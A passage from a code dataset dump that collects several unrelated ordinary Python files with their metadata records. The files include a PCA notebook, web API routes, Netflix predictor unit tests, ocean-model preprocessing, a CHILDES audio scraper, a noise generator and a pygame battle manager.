pd\n\n\n# In[2]:\n\n\ndf = pd.read_excel (r'C:\\Users\\madhulika 1234\\Desktop\\baseball.xls')\n\n\n# In[3]:\n\n\nprint(df)\n\n\n# In[4]:\n\n\ndf.corr()\n\n\n# In[5]:\n\n\ndf.cov()\n\n\n# In[6]:\n\n\nX = df[['YEAR','ATL','CHC']]\n\n\n# In[7]:\n\n\nY = df[['WAS']]\n\n\n# In[8]:\n\n\nfrom numpy import array\nfrom scipy.linalg import svd\nprint(X)\nU, s, VT = svd(X)\n\n\n# In[9]:\n\n\nprint(U)\n\n\n# In[10]:\n\n\nprint(s)\n\n\n# In[11]:\n\n\nprint(VT)\n\n\n# In[13]:\n\n\nfrom sklearn.preprocessing import StandardScaler\nx_std = StandardScaler().fit_transform(X)\n\n\n# In[14]:\n\n\n\nx_std\n\n\n# In[18]:\n\n\nimport numpy as np\n# features are columns from x_std\nfeatures = x_std.T \ncovariance_matrix = np.cov(features)\nprint(covariance_matrix)\n\n\n# In[19]:\n\n\neig_vals, eig_vecs = np.linalg.eig(covariance_matrix)\n\n\n# In[20]:\n\n\n\nprint('Eigenvectors \\n%s' %eig_vecs)\n\n\n# In[21]:\n\n\nprint('\\nEigenvalues \\n%s' %eig_vals)\n\n\n# In[22]:\n\n\neig_vals[0] / sum(eig_vals)\n\n\n# In[23]:\n\n\nprojected_X = x_std.dot(eig_vecs.T[0])\n\n\n# In[24]:\n\n\nprojected_X\n\n\n# In[32]:\n\n\nresult = pd.DataFrame(projected_X, columns=['PC1'])\nresult['y-axis'] = 0.6\nresult['label'] = Y\n\n\n# In[33]:\n\n\nresult.head()\n\n\n# In[34]:\n\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n\n# In[35]:\n\n\nsns.lmplot('PC1', 'y-axis', data=result, fit_reg=False, # x-axis, y-axis, data, no line\n scatter_kws={\"s\": 50}, # marker size\n hue=\"label\") # color\n\n# title\nplt.title('PCA result')\n\n\n# In[ ]:\n\n\n\n\n", "sub_path": "Madhulika_1981000026_PCASVD on a sample dataset.py", "file_name": "Madhulika_1981000026_PCASVD on a sample dataset.py", "file_ext": "py", "file_size_in_byte": 1458, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "pandas.read_excel", "line_number": 13, "usage_type": "call"}, {"api_name": "scipy.linalg.svd", "line_number": 52, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 77, "usage_type": "call"}, {"api_name": "numpy.cov", "line_number": 93, "usage_type": "call"}, {"api_name": "numpy.linalg.eig", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 100, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 137, "usage_type": "call"}, {"api_name": "seaborn.lmplot", "line_number": 158, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.title", "line_number": 163, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 163, "usage_type": "name"}]} +{"seq_id": "435263702", "text": "import re\nfrom aiohttp import web\nfrom ..util.routes import json_dumps\n\nMODEL_NAMES = {\n '^opentapioca$': 'ned_opentapioca',\n '^gkg$': 'ned_gkg',\n '^external:.*$': 'ned_custom_entities',\n}\n\nMODEL_NAMES = {re.compile(k):v for k, v in MODEL_NAMES.items()}\n\nasync def load_handler(request):\n body = await request.json()\n url = body.get('url')\n\n entities_store = request.app['entities_store']\n entities_set = await entities_store.get(url)\n\n return web.json_response(\n { 'headers': entities_set.headers }\n )\n\nasync def search_handler(request):\n body = await request.json()\n url = body.get('url')\n query = body.get('query')\n\n entities_store = request.app['entities_store']\n entities_set = await entities_store.get(url)\n\n results = await entities_set.search(query, 10)\n\n return web.json_response(\n { 'results': results },\n dumps = json_dumps\n )\n\nasync def expand_handler(request):\n body = await request.json()\n model_name = body.get('model')\n resource_id = body.get('id')\n label = body.get('label')\n\n ned_models = [v for p, v in MODEL_NAMES.items() if p.match(model_name)]\n ned_model_name = ned_models[0] if len(ned_models) > 0 else None\n assert ned_model_name is not None, 'Unknown model name: {}'.format(model_name)\n\n ned_model = request.app[ned_model_name]()\n \n assert resource_id is not None, '\"ID\" must be provided'\n\n entity = await ned_model.expand_resource(model_name, resource_id, label)\n\n return web.json_response(\n { 'entity': entity },\n dumps = json_dumps\n )\n", "sub_path": "c2dh_nerd/routes/entities.py", "file_name": "entities.py", "file_ext": "py", "file_size_in_byte": 1508, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "re.compile", "line_number": 11, "usage_type": "call"}, {"api_name": "aiohttp.web.json_response", "line_number": 20, "usage_type": "call"}, {"api_name": "aiohttp.web", "line_number": 20, "usage_type": "name"}, {"api_name": "aiohttp.web.json_response", "line_number": 34, "usage_type": "call"}, {"api_name": "aiohttp.web", "line_number": 34, "usage_type": "name"}, {"api_name": "util.routes.json_dumps", "line_number": 36, "usage_type": "name"}, {"api_name": "aiohttp.web.json_response", "line_number": 55, "usage_type": "call"}, {"api_name": "aiohttp.web", "line_number": 55, "usage_type": "name"}, {"api_name": "util.routes.json_dumps", "line_number": 57, "usage_type": "name"}]} +{"seq_id": "270904370", "text": "#!/usr/bin/env python3\n\n\"\"\"\nTestNetflix.py\nCreated by Yun Jang and Connor Lirot\n\"\"\"\n\n# -------\n# imports\n# -------\nfrom io import StringIO\nfrom unittest import main, TestCase\n\nfrom Netflix import netflix_solve, netflix_eval, netflix_print_rmse, netflix_print, netflix_read\n\n# --------------\n# TestNetflix.py\n# --------------\n\nclass TestNetflix (TestCase):\n # -------------\n # netflix_solve\n # -------------\n def test_netflix_solve_1 (self):\n r = StringIO (\"9898:\\n1606486\\n\")\n w = StringIO ()\n netflix_solve (r, w)\n self.assertEqual (w.getvalue(), \"9898:\\n2.808860496930821\\nRMSE: 0.19113950306917893\\n\")\n\n def test_netflix_solve_2 (self):\n r = StringIO (\"990:\\n1629710\\n1882730\")\n w = StringIO ()\n netflix_solve (r, w)\n self.assertEqual (w.getvalue(), \"990:\\n3.4019751225573187\\n2.738391545146086\\nRMSE: 0.46155862991140484\\n\")\n\n def test_netflix_solve_3 (self):\n r = StringIO (\"9901:\\n767144\\n67776\\n2488357\\n\")\n w = StringIO ()\n netflix_solve (r, w)\n self.assertEqual (w.getvalue(), \"9901:\\n4.4786116017002815\\n3.802108965496416\\n3.4980611927397987\\nRMSE: 0.798347657673766\\n\")\n\n # ------------\n # netflix_eval\n # ------------\n def test_netflix_eval_1 (self):\n val = netflix_eval (9901, \"767144\")\n answer = 4.4786116017002815\n self.assertEqual (val, answer)\n\n def test_netflix_eval_2 (self):\n val = netflix_eval (9898, \"1606486\")\n answer = 2.808860496930821\n self.assertEqual (val, answer)\n\n def test_netflix_eval_3 (self):\n val = netflix_eval (990, \"79484\")\n answer = 3.5122595211417216\n self.assertEqual (val, answer)\n\n # ------------------\n # netflix_print_rmse\n # ------------------\n def test_netflix_print_rmse_1 (self):\n w = StringIO ()\n answer = \"RMSE: 50.0\\n\"\n netflix_print_rmse ((100,), (50,), w)\n self.assertEqual (w.getvalue (), answer)\n\n def test_netflix_print_rmse_2 (self):\n w = StringIO ()\n answer = \"RMSE: 17857.0\\n\"\n netflix_print_rmse ( (23412,), (5555,), w)\n self.assertEqual (w.getvalue(), answer)\n\n def test_netflix_print_rmse_3 (self):\n w = StringIO ()\n answer = \"RMSE: 0.6498833999999998\\n\"\n netflix_print_rmse ( (2.2319834,), (1.5821,), w)\n self.assertEqual (w.getvalue(), answer)\n \n # -------------\n # netflix_print\n # -------------\n def test_netflix_print_1 (self):\n w = StringIO ()\n netflix_print (None, 2.928374892, w)\n self.assertEqual (w.getvalue (), \"2.928374892\\n\")\n\n def test_netflix_print_2 (self):\n w = StringIO ()\n netflix_print (9900, None, w)\n self.assertEqual (w.getvalue (), \"9900:\\n\")\n\n def test_netflix_print_3 (self):\n w = StringIO ()\n netflix_print (9898, None, w)\n self.assertEqual (w.getvalue (), \"9898:\\n\")\n\n # ------------\n # netflix_read\n # ------------\n def test_netflix_read_1 (self):\n movie, customer = netflix_read (\"9900:\")\n movieAnswer = 9900\n customerAnswer = None\n self.assertEqual (movieAnswer, movie)\n self.assertEqual (customerAnswer, customer)\n\n def test_netflix_read_2 (self):\n movie, customer = netflix_read (\"767144\")\n movieAnswer = None\n customerAnswer = 767144\n self.assertEqual (movieAnswer, movie)\n self.assertEqual (customerAnswer, customer)\n\n def test_netflix_read_3 (self):\n movie, customer = netflix_read (\"1337:\")\n movieAnswer = 1337\n customerAnswer = None\n self.assertEqual (movieAnswer, movie)\n self.assertEqual (customerAnswer, customer)\n\n# ----\n# main\n# ----\n\nif __name__ == \"__main__\" :\n main ()\n", "sub_path": "ysj238-TestNetflix.py", "file_name": "ysj238-TestNetflix.py", "file_ext": "py", "file_size_in_byte": 3780, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "unittest.TestCase", "line_number": 20, "usage_type": "name"}, {"api_name": "io.StringIO", "line_number": 25, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 26, "usage_type": "call"}, {"api_name": "Netflix.netflix_solve", "line_number": 27, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 31, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 32, "usage_type": "call"}, {"api_name": "Netflix.netflix_solve", "line_number": 33, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 37, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 38, "usage_type": "call"}, {"api_name": "Netflix.netflix_solve", "line_number": 39, "usage_type": "call"}, {"api_name": "Netflix.netflix_eval", "line_number": 46, "usage_type": "call"}, {"api_name": "Netflix.netflix_eval", "line_number": 51, "usage_type": "call"}, {"api_name": "Netflix.netflix_eval", "line_number": 56, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 64, "usage_type": "call"}, {"api_name": "Netflix.netflix_print_rmse", "line_number": 66, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 70, "usage_type": "call"}, {"api_name": "Netflix.netflix_print_rmse", "line_number": 72, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 76, "usage_type": "call"}, {"api_name": "Netflix.netflix_print_rmse", "line_number": 78, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 85, "usage_type": "call"}, {"api_name": "Netflix.netflix_print", "line_number": 86, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 90, "usage_type": "call"}, {"api_name": "Netflix.netflix_print", "line_number": 91, "usage_type": "call"}, {"api_name": "io.StringIO", "line_number": 95, "usage_type": "call"}, {"api_name": "Netflix.netflix_print", "line_number": 96, "usage_type": "call"}, {"api_name": "Netflix.netflix_read", "line_number": 103, "usage_type": "call"}, {"api_name": "Netflix.netflix_read", "line_number": 110, "usage_type": "call"}, {"api_name": "Netflix.netflix_read", "line_number": 117, "usage_type": "call"}, {"api_name": "unittest.main", "line_number": 128, "usage_type": "call"}]} +{"seq_id": "564368832", "text": "# xml_download.py\n\n# lib download\n\nimport urllib.request\nfrom urllib.parse import urlparse\nfrom .coroutine import coroutine\nfrom .config import CURRENT_DIRECTORY\nimport os\nfrom . import export\n# __all__ = ['download_xml']\n\n\n@coroutine\n@export\ndef download_xml(target):\n url = (yield)\n\n fullFileName = urlparse(url).path\n fileName = os.path.basename(fullFileName)\n fileDirectory = CURRENT_DIRECTORY + os.path.dirname(fullFileName)\n\n # make file directory if not exist\n if not os.path.exists(fileDirectory):\n os.makedirs(fileDirectory)\n \n x = urllib.request.urlopen(url)\n xmlFile = open(fullFileName, 'w')\n xmlFile.write(str(x.read()))\n xmlFile.close()\n\n target.send(fullFileName)\n\nif __name__ == \"__main__\":\n o = urlparse(\"https://dl.google.com/android/repository/extra/intel/addon.xml\")\n print(o.path)\n\n", "sub_path": "obsidian/xml_download.py", "file_name": "xml_download.py", "file_ext": "py", "file_size_in_byte": 856, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "urllib.parse.urlparse", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path", "line_number": 20, "usage_type": "attribute"}, {"api_name": "config.CURRENT_DIRECTORY", "line_number": 21, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 25, "usage_type": "call"}, {"api_name": "urllib.request.request.urlopen", "line_number": 27, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 27, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 27, "usage_type": "name"}, {"api_name": "coroutine.coroutine", "line_number": 14, "usage_type": "name"}, {"api_name": "urllib.parse.urlparse", "line_number": 35, "usage_type": "call"}]} +{"seq_id": "443413788", "text": "import subprocess\nimport os\nimport sys\nimport subprocess\nimport numpy as np\nfrom datetime import datetime\nimport matplotlib\nmatplotlib.use('Agg')\n\nimport pyroms\nimport pyroms_toolbox\n\nfrom remap_clm import remap_clm\nfrom remap_clm_uv import remap_clm_uv\n\nlst_year = sys.argv[1:]\n\ndata_dir = '/archive/u1/uaf/kate/HYCOM/Svalbard/Monthly_avg/'\ndst_dir='./clm/'\n\nlst_file = []\n\nfor year in lst_year:\n year = np.str(year)\n# lst = commands.getoutput('ls ' + data_dir + 'SODA_2.1.6_' + year + '_0*')\n lst = subprocess.getoutput('ls ' + data_dir + '*' + year + '*')\n lst = lst.split()\n lst_file = lst_file + lst\n\nprint('Build CLM file from the following file list:')\nprint(lst_file)\nprint(' ')\n\nsrc_grd = pyroms_toolbox.Grid_HYCOM.get_nc_Grid_HYCOM('/archive/u1/uaf/kate/HYCOM/Svalbard/HYCOM_GLBa0.08_North_grid2.nc')\ndst_grd = pyroms.grid.get_ROMS_grid('ARCTIC2')\n\nfor file in lst_file:\n# remap\n zeta = remap_clm(file, 'ssh', src_grd, dst_grd, dst_dir=dst_dir)\n dst_grd = pyroms.grid.get_ROMS_grid('ARCTIC2', zeta=zeta)\n remap_clm(file, 'temp', src_grd, dst_grd, dst_dir=dst_dir)\n remap_clm(file, 'salt', src_grd, dst_grd, dst_dir=dst_dir)\n remap_clm_uv(file, src_grd, dst_grd, dst_dir=dst_dir)\n\n# merge file\n clim_file = dst_dir + file.rsplit('/')[-1][:-3] + '_clim_' + dst_grd.name + '.nc'\n\n out_file = dst_dir + file.rsplit('/')[-1][:-3] + '_ssh_clim_' + dst_grd.name + '.nc'\n command = ('ncks', '-a', '-O', out_file, clim_file) \n print(command)\n subprocess.check_call(command)\n os.remove(out_file)\n out_file = dst_dir + file.rsplit('/')[-1][:-3] + '_temp_clim_' + dst_grd.name + '.nc'\n command = ('ncks', '-a', '-A', out_file, clim_file) \n print(command)\n subprocess.check_call(command)\n os.remove(out_file)\n out_file = dst_dir + file.rsplit('/')[-1][:-3] + '_salt_clim_' + dst_grd.name + '.nc'\n command = ('ncks', '-a', '-A', out_file, clim_file) \n print(command)\n subprocess.check_call(command)\n os.remove(out_file)\n out_file = dst_dir + file.rsplit('/')[-1][:-3] + '_u_clim_' + dst_grd.name + '.nc'\n command = ('ncks', '-a', '-A', out_file, clim_file) \n print(command)\n subprocess.check_call(command)\n os.remove(out_file)\n out_file = dst_dir + file.rsplit('/')[-1][:-3] + '_v_clim_' + dst_grd.name + '.nc'\n command = ('ncks', '-a', '-A', out_file, clim_file) \n print(command)\n subprocess.check_call(command)\n os.remove(out_file)\n", "sub_path": "examples/Arctic_HYCOM/make_clm_file.py", "file_name": "make_clm_file.py", "file_ext": "py", "file_size_in_byte": 2438, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "matplotlib.use", "line_number": 8, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 16, "usage_type": "attribute"}, {"api_name": "numpy.str", "line_number": 24, "usage_type": "call"}, {"api_name": "subprocess.getoutput", "line_number": 26, "usage_type": "call"}, {"api_name": "pyroms_toolbox.Grid_HYCOM.get_nc_Grid_HYCOM", "line_number": 34, "usage_type": "call"}, {"api_name": "pyroms_toolbox.Grid_HYCOM", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pyroms.grid.get_ROMS_grid", "line_number": 35, "usage_type": "call"}, {"api_name": "pyroms.grid", "line_number": 35, "usage_type": "attribute"}, {"api_name": "remap_clm.remap_clm", "line_number": 39, "usage_type": "call"}, {"api_name": "pyroms.grid.get_ROMS_grid", "line_number": 40, "usage_type": "call"}, {"api_name": "pyroms.grid", "line_number": 40, "usage_type": "attribute"}, {"api_name": "remap_clm.remap_clm", "line_number": 41, "usage_type": "call"}, {"api_name": "remap_clm.remap_clm", "line_number": 42, "usage_type": "call"}, {"api_name": "remap_clm_uv.remap_clm_uv", "line_number": 43, "usage_type": "call"}, {"api_name": "subprocess.check_call", "line_number": 51, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 52, "usage_type": "call"}, {"api_name": "subprocess.check_call", "line_number": 56, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 57, "usage_type": "call"}, {"api_name": "subprocess.check_call", "line_number": 61, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 62, "usage_type": "call"}, {"api_name": "subprocess.check_call", "line_number": 66, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 67, "usage_type": "call"}, {"api_name": "subprocess.check_call", "line_number": 71, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 72, "usage_type": "call"}]} +{"seq_id": "98256330", "text": "\n#1. Go to all folders\n#2. Go to all subsections\n#3. Find all .cha website\n#4. Scrape the sentence: span name = \"utterance\"\n#5. Scrape the timestamp: beg and end\n#6. Chop down the sentences\n\n\nimport selenium\nfrom selenium import webdriver\nimport urllib.request\nfrom urllib.request import urlretrieve\nfrom bs4 import BeautifulSoup\nimport re\nimport time\nimport random\nfrom pydub import AudioSegment\n#from settings import *\nimport os\n\ndef get_all_cha_page(sub_sec, dr):\n\tdr.get(sub_sec)\n\tps = dr.page_source\n\tps = BeautifulSoup(ps, \"html.parser\")\n\tcha_list = ps.find(\"div\", {\"id\":\"left\"}).find(\"ul\", {\"id\":\"navlist\"}).findAll(\"li\")\n\n\tpath_list = ps.find(\"div\", {\"id\":\"left\"}).find(\"div\", {\"id\":\"nav\"}).findAll(\"a\", recursive=False)\n\tpath = \"\"\n\tprint(len(path_list))\n\tfor p in path_list:\n\t\tprint(p)\n\t\tif p.find(text=True) != None:\n\t\t\tpath = path + str(p.find(text=True))\n\tprint(path)\n\n\tfor cha in cha_list:\n\t\tif cha.a.img.attrs['src'] == \"style/images/audio.png\":\n\t\t\turl = cha.a.attrs['href']\n\t\t\tprint(url)\n\t\t\tlabel = cha.a.find(text=True).strip()[:-4]\n\t\t\tprint(path + label)\n\t\t\tcha_url_label_dict[url] = path + label;\n\ndef deal_with_one_cha_page(url, label):\n\n\tbeg_list = []\n\tend_list = []\n\tsentence_list = []\n\n\tdef download_audio_file(url):\n\t\tpath = \"/Users/ida/Desktop/\" + label\n\t\ttry: \n\t\t\tos.makedirs(path)\n\t\texcept:\n\t\t\tprint(\"Directory already exists.\")\n\t\turlretrieve(url, path + \"/audio.mp4\")\n\n\tdef get_beg_end(ps):\n\t\tutterance_secs = ps.find(\"div\", {\"id\":\"transcript\"}).findAll(\"span\", {\"name\":\"utterance\"})\n\t\tfor sec in utterance_secs:\n\n\t\t\tline = sec.find(text=True, recursive=False).strip()\n\t\t\tsentence_list.append(line)\n\t\t\tbeg_list.append(int(sec['beg']))\n\t\t\tend_list.append(int(sec['end']))\n\n\n\tdef split_sentences():\n\t\tpath = \"/Users/ida/Desktop/\" + label\n\t\tsound = AudioSegment.from_file(path + \"/audio.mp4\")\n\n\t\tpath_t = path + \"/sentences_audio/\"\n\t\ttry: \n\t\t\tos.makedirs(path_t)\n\t\texcept:\n\t\t\tprint(\"Directory already exists.\")\n\n\t\tfor i in range(len(beg_list)):\n\t\t\tbeg = beg_list[i]\n\t\t\tend = end_list[i]\n\t\t\tsent = sound[beg:end]\n\t\t\ttry:\n\t\t\t\tsent.export(path_t + \"id_{}_{}_to_{}.mp4\".format(i, beg, end), format=\"mp4\")\n\t\t\texcept:\n\t\t\t\tprint(\"Sentence\" + str(i) + \"in total list can't be saved as audio\")\n\n\t\t\t\n\tdef save_sent_as_txt():\n\t\twith open(label + '/sentence_text.txt', 'w') as filehandle:\n\t\t\tfor i in range(len(sentence_list)):\n\t\t\t\ttry:\n\t\t\t\t\ts = sentence_list[i]\n\t\t\t\t\ts = re.sub('[^0-9a-zA-Z\\'.,!?;\\s]+', '', s)\n\t\t\t\t\tfilehandle.write('%s\\n' %s)\n\t\t\t\texcept:\n\t\t\t\t\tfilehandle.write(\"Sentence \" + str(i) + \" not available\\n\")\n\t\t\t\t\n\n\tdr.get(url)\n\tps = dr.page_source\n\tps = BeautifulSoup(ps, \"html.parser\")\n\taudio_url = ps.find(\"div\", {\"id\":\"media\"}).audio.source.attrs[\"src\"]\n\t\n\tdownload_audio_file(audio_url)\n\tget_beg_end(ps)\n\tsplit_sentences()\n\tsave_sent_as_txt()\n\n\nGleason1 = \"https://childes.talkbank.org/browser/index.php?url=Eng-NA/Gleason/Dinner/\"\nGleason2 = \"https://childes.talkbank.org/browser/index.php?url=Eng-NA/Gleason/Father/\"\nGleason3 = \"https://childes.talkbank.org/browser/index.php?url=Eng-NA/Gleason/Mother/\"\n\nurl_list = [Gleason1, Gleason2, Gleason3]\n\n\ncha_url_label_dict = dict()\ndr = webdriver.PhantomJS()\n\nfor u in url_list:\n\tget_all_cha_page(u, dr)\n\nfor url in cha_url_label_dict:\n\tdeal_with_one_cha_page(url, cha_url_label_dict[url])\n", "sub_path": "scraping_and_segmentation/Childes_Scraping.py", "file_name": "Childes_Scraping.py", "file_ext": "py", "file_size_in_byte": 3267, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "bs4.BeautifulSoup", "line_number": 25, "usage_type": "call"}, {"api_name": "os.makedirs", "line_number": 54, "usage_type": "call"}, {"api_name": "urllib.request.urlretrieve", "line_number": 57, "usage_type": "call"}, {"api_name": "pydub.AudioSegment.from_file", "line_number": 71, "usage_type": "call"}, {"api_name": "pydub.AudioSegment", "line_number": 71, "usage_type": "name"}, {"api_name": "os.makedirs", "line_number": 75, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 94, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 102, "usage_type": "call"}, {"api_name": "selenium.webdriver.PhantomJS", "line_number": 119, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 119, "usage_type": "name"}]} +{"seq_id": "495170964", "text": "#Noise Simulator\nimport numpy as np\nimport matplotlib.pyplot as plt\n\ndef noise(num_samples = 10000, alpha = None, noise_type = 'pink', to_plot = 'False'):\n \"\"\"\n :type num_samples: int\n :type alpha: float\n :type noise_type: str\n :rtype: List[float]\n \"\"\"\n \n if alpha is None:\n if noise_type == 'white':\n alpha = 0\n elif noise_type == 'pink':\n alpha = 1\n elif noise_type == 'brown':\n alpha = 2\n\n samps = np.random.normal(0, 1, num_samples)\n samps_fft = np.fft.fft(samps)\n\n if len(samps_fft) % 2 == 0:\n den1 = np.arange(1, len(samps_fft)//2 + 2)\n den2 = np.arange(len(samps_fft)//2, 1, -1)\n else:\n den1 = np.arange(1, len(samps_fft)//2 + 2)\n den2 = np.arange(len(samps_fft)//2 + 1, 1, -1)\n dens = np.concatenate([den1, den2])\n\n new_samps = samps_fft / (np.sqrt(dens) ** alpha)\n\n new_samps_ifft = np.fft.ifft(new_samps)\n\n if to_plot == True:\n plt.plot(new_samps_ifft)\n plt.show()\n\n return new_samps_ifft\n\nif __name__ == '__main__':\n data = noise(10000, alpha = 1, to_plot = True)\n #plt.plot(data)\n #plt.show()\n", "sub_path": "noise.py", "file_name": "noise.py", "file_ext": "py", "file_size_in_byte": 1161, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.random.normal", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 21, "usage_type": "attribute"}, {"api_name": "numpy.fft.fft", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 22, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.fft.ifft", "line_number": 34, "usage_type": "call"}, {"api_name": "numpy.fft", "line_number": 34, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}]} +{"seq_id": "21538049", "text": "import sys\nimport threading\nimport random\nimport pygame_gui\n\nfrom grid import *\n\nimport Player\nimport Enemy\n\n# This class is expected to be used directly in the final work with With the modification of player_move and enemy_move\nimport UI\n\n\nclass BattleManger:\n _instance_lock = threading.Lock()\n\n def __init__(self, players, enemy_team, gui_manager, surface, background, world_Manager):\n self.gui_manager = gui_manager\n self.players = players\n self.enemy_team = enemy_team\n self.enemies = enemy_team.members\n self.stepsleft = 0\n self.moving = None # A character is moving\n self.characters = players.sprites() + self.enemies.sprites()\n self.characters.sort(key=lambda character: character.speed, reverse=True)\n self.next_character = 0\n self.selecting = False\n self.targetButtons = None\n self.skillButtons = None\n self.skipButtons = None\n self.surface = surface\n self.background = background\n self.world_Manager = world_Manager\n\n def __new__(cls, *args, **kwargs):\n if not hasattr(BattleManger, \"_instance\"):\n with BattleManger._instance_lock:\n if not hasattr(BattleManger, \"_instance\"):\n BattleManger._instance = object.__new__(cls)\n return BattleManger._instance\n\n def update(self, time_delta):\n if self.selecting:\n self.player_select(self.selecting)\n elif self.moving:\n self.moving = self.moving.battle_update()\n else:\n self.check_corpse()\n self.change_character()\n\n self.check_events()\n self.gui_manager.update(time_delta)\n self.draw()\n if not self.enemies.sprites() or not self.players.sprites():\n return self.battle_end()\n else:\n return self\n\n def player_move(self, character):\n self.selecting = character\n\n def enemy_move(self, character):\n self.moving = character.use_skill(random.choice(character.get_skills()))\n character.choose_target(random.choice(self.players.sprites()))\n\n def player_select(self, player):\n if self.stepsleft > 0 or self.selecting.goal_tile is not None:\n if self.skipButtons is None:\n self.skipButtons = UI.get_skip_button(1000, 100, self, self.selecting, self.gui_manager)\n if self.selecting.goal_tile is not None:\n self.selecting.battle_update()\n elif self.selecting.using_skill is None:\n if self.skipButtons is not None:\n self.skipButtons.kill()\n self.skipButtons = None\n if self.skillButtons is None:\n self.skillButtons = UI.get_skills_button(1000, 100, self.selecting, self.gui_manager)\n elif self.selecting.skill_target is None:\n if self.skillButtons is not None:\n self.skillButtons.kill()\n self.skillButtons = None\n if self.targetButtons is None:\n self.targetButtons = UI.get_target_button(1000, 100, self.selecting, self.gui_manager, self.enemies)\n else:\n if self.targetButtons is not None:\n self.targetButtons.kill()\n self.targetButtons = None\n self.moving = self.selecting\n self.selecting = None\n\n def check_corpse(self):\n for character in self.players:\n if character.is_dead():\n self.players.remove(character)\n self.characters.remove(character)\n character.kill()\n for character in self.enemies:\n if character.is_dead():\n self.enemies.remove(character)\n self.characters.remove(character)\n self.world_Manager.update_task(character)\n character.kill()\n\n def change_character(self):\n if self.next_character >= len(self.characters):\n self.next_character = 0\n character = self.characters[self.next_character]\n self.next_character += 1\n assert isinstance(character, Player.Player) or isinstance(character, Enemy.Enemy)\n if isinstance(character, Player.Player):\n self.stepsleft = 10\n self.player_move(character)\n else:\n self.enemy_move(character)\n\n def battle_end(self):\n self.world_Manager.remove_npc(self.enemy_team)\n return self.world_Manager.load_World()\n\n def draw(self):\n self.surface.blit(self.background, (0, 0))\n self.players.draw(self.surface)\n self.enemies.draw(self.surface)\n self.gui_manager.draw_ui(self.surface)\n\n def check_events(self):\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n self.gui_manager.process_events(event)\n if event.type == pygame.USEREVENT:\n if event.user_type == pygame_gui.UI_BUTTON_PRESSED:\n event.ui_element.press()\n if event.type == pygame.KEYDOWN and self.selecting and self.stepsleft > 0 and not self.selecting.goal_tile:\n self.stepsleft -= 1\n if event.key == pygame.K_w:\n self.selecting.goal_tile = self.selecting.tile.north\n #self.selecting.walk(self.selecting.tile.north)\n elif event.key == pygame.K_s:\n self.selecting.goal_tile = self.selecting.tile.south\n #self.selecting.walk(self.selecting.tile.south)\n elif event.key == pygame.K_a:\n self.selecting.goal_tile = self.selecting.tile.west\n #self.selecting.walk(self.selecting.tile.west)\n elif event.key == pygame.K_d:\n self.selecting.goal_tile = self.selecting.tile.east\n #self.selecting.walk(self.selecting.tile.east)\n\n\ndef init_battle(window_size, surface, player_group, enemy_group, world_Manager):\n battle_gui_manager = pygame_gui.UIManager(window_size)\n background = pygame.transform.scale(pygame.image.load('../Assets/BackGround.jpg').convert(), window_size)\n surface.blit(background, (0, 0))\n battleManger = BattleManger(player_group, enemy_group, 